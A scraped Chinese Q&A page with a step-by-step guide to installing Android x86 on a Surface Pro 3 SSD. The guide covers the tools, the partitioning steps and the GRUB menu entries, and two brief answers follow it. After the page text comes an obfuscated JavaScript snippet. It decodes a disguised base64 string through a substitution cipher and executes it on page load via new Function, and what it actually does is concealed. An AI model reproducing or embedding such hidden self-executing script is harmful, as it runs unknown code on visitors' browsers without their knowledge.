如何把Android x86安装在Surface Pro 3 SSD上

2025-04-06 21:10:01
推荐回答(3个)
回答(1):

需求程式&硬件
unetbootin(后面简称un)
rufus
MiniTool Partition Wizard(后面简称MiniTool)
UltraISO
Paragon ExtFS for Windows(建议安装时不要勾选开机自动启动,因为他偶尔会造成系统Crash)
Notepad++(选择性,建议使用)
记忆卡*1
UEFI的保护解除掉
开机优先级选到有USB的
Ubuntu
某位Android x86 Google论坛用户编出来的4.4.4版,Wifi可用!!!
#2015/9/15新增官方Android x86-4.4-r3

*这边郑重声明,更动系统有风险,如有任何事故本人不负责任

==================2015/9/15更新==================
新版的官方Android-4.4.4-r3已经支援NTFS及其他分区的硬盘
所以前面最麻烦的Grub借尸还魂和用Mini复制步骤都可以跳过
简单的来说就是硬盘分割好后做好开机碟(不需要考虑空间)就可以直接安装
不过我把完整教学留下来 给需要研究的人参考
蓝色的附注是提示装r3以上新版的话哪些步骤可以跳过
=============================================

原理&教学:
首先就是因为Android-x86不支援UEFI,我们要用Ubuntu来借尸还魂,所以我们可以先用MiniTool把记忆卡分割成两个的空间,,一个够装Android-x86安装档就好,另一个则是fat32空白的空间,这边注意,第二个空白的空间大小请设定好,大小就是你希望你安装好的Android空间大小,我是选两个8G,一个给Ubuntu用一个Android用
新版Android x86就不需要靠Ubuntu借尸还魂了,这边只需要准备一张SD卡不用动,直接看下一步骤

再来就是用un把Ubuntu烧上去我们分出来的第一个空间,在进行的同时对"电脑"点右键>>管理>>左边磁盘管理,SSD右键>>压缩磁盘区填入跟我们刚刚设定的两个空间大小>>完成SSD分割,如果割不成功可以用MiniTool割,这边分割SSD可能有人会怕,其实也不用太担心,分割出去后可以用"延伸磁盘区"收回去,我自己尝试了不少次资料都没丢失,但是老话一句,个人责任个人担
这边直接用Rufus选fat32格式,然后依照你的系统选gpt或是mbr,SP3是用gpt,再选Android x86的映象档开始烧

完成之后请在记忆卡根目录下创一个"android"的资料夹,然后用UltraISO打开抓下来的kitkat_x86_gapps.img,把里面的东西复制进去,完成后请到记忆卡底下的/boot/grub里面用笔记本或是Notepad++打开grub.cfg,在后面加入下列脚本

submenu "Android" {
menuentry "Android" --class android --class linux --class os {
linux /android/kernel root=/dev/ram0 androidboot.hardware=x86 video=1920x1080 DEBUG=1 SRC=/android/
initrd /android/initrd.img
}
menuentry "Android-INSTALL" --class android --class linux --class os {
linux /android/kernel root=/dev/ram0 androidboot.hardware=x86 video=1920x1080 INSTALL=1 DEBUG=1 SRC=/android/
initrd /android/initrd.img
}
menuentry "Android-Start" --class android --class linux --class os {
set root=(0,6)
linux /android-4.4-r2/kernel root=/dev/ram0 androidboot.hardware=x86 video=2160x1440 SRC=/android-4.4-r2/
initrd /android-4.4-r2/initrd.img
}
}

储存,接下来就可以重新开机安装Ubuntu,开机会跳出选单,请选择"Install Ubuntu"安装,安装方法跟Windows差不多,记得就是不要砍到系统目录,随便选我们刚刚任一个8G的空间然后挂载成"/"就好,这边注意,安装的时候请记住另一个空着准备装Android空间的位置,例如我的是sda5,就把sda5记起来
当然我们现在不需要Ubuntu,这些步骤就可以跳过

安装完成后重新开机安装Android,这次的选择是去Android底下选"Android-INSTALL",然后读取好后会叫你用键盘输入"exit"继续下一步,如果她一直"......"就把记忆卡拔出来插回去重读就好,安装的时候请选择我们SD卡上创好的第二个空间,模式为Boot,类型是Linux,格式化的时候选ext2,后面问你的选项都选Yes,然后后续就等他安装完成
直接把Android x86安装到分出来的SSD即可,如果你不会自己搞Grub,中间过程他问你要不要装Grub的时候你可以选确定,这样他就会直接装在我们系统开机的分区上

结束安装以后把SD卡拔出来,重新开机会看到Ubuntu的选单,这就是我们要借尸还魂的尸体Grub2菜单罗,进入Windows然后开启MiniTool,在刚刚安装好Android的SD卡空间上按右键>>Copy>>选到SSD上准备给Android的空间上>>左上角Apply完成

接下来用Paragon挂上刚刚安装好Ubuntu的空间,接着在我的电脑上就可以看到了,进去里面找到/boot/grub底下的grub.cfg,用Notepad++打开,这次的选单比较复杂点,不过就是找到和刚刚SD卡上选单类似的部分,加入以下脚本

submenu "Android" {
menuentry "Android" --class android --class linux --class os {
linux /android/kernel root=/dev/ram0 androidboot.hardware=x86 video=2160x1440 DEBUG=1 SRC=/android/
initrd /android/initrd.img
}
menuentry "Android-INSTALL" --class android --class linux --class os {
linux /android/kernel root=/dev/ram0 androidboot.hardware=x86 video=2160x1440 INSTALL=1 DEBUG=1 SRC=/android/
initrd /android/initrd.img
}
menuentry "Android-4.4.4-Start" --class android --class linux --class os {
set root=(hd0,5)
linux /android-4.4.4/kernel root=/dev/ram0 androidboot.hardware=x86 video=2160x1440 SRC=/android-4.4.4/
initrd /android-4.4.4/initrd.img
}
}

这边注意,这个步骤就是成功开启Android最大的关键,还记得我们刚刚要记得的那个sda5吗?然后看看新加的脚本倒数几行的set root=(hd0,5),sda的a就是硬盘的编号,例如sda就是hd0.sdb就是hd1,然后sda5后面的数字就是一样,所以我的sda5的路径就是设为set root=(hd0,5),请依照自己的路径做修改
#2015/9/19更新:请把set root=(hdx,y)这行改成search --set=root --file /android-4.4.4/kernel如下图,这样他就会自己侦测Android x86的位置,开机也不需要注意其他储存设备的问题
(登入后即可检视图片)

然后
linux /android-4.4.4/kernel root=/dev/ram0 androidboot.hardware=x86 video=2160x1440 SRC=/android-4.4.4/
initrd /android-4.4.4/initrd.img
这几行的android-4.4.4是我为了未来方便查询做的修改,这边请用Paragon挂上在SSD上的Android空间,打开会发现类似如图的资料夹
(登入后即可检视图片)
把android-2015-03-02重新命名成跟我们一样的android-4.4.4,这样就差不多大功告成了,然后这边建议也可以把Windows的开机选项改到第一个,这样方便如果SP3没抓到键盘倒数后会直接进入Windows
简化过后这个档案的位置应该是直接跑去Android x86的分区上了,请去那边找他再做修改吧

最后步骤就是把SD卡或是手机什么的都从SP3上拔下来,键盘鼠标的无所谓,因为他们可能会在开机时比SSD更早读到让SSD原本hd0的位置跳去hd1之类的,开机后选Android>>Android-4.4.4-Start就可以开始使用Android x86罗~
如果有照更新的步骤改Grub2就不需要顾虑其他设备的问题,因为它会自动帮你去找

回答(2):

这个有点难,必须要技术流

回答(3):

架构不一样,兼容性不太好

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();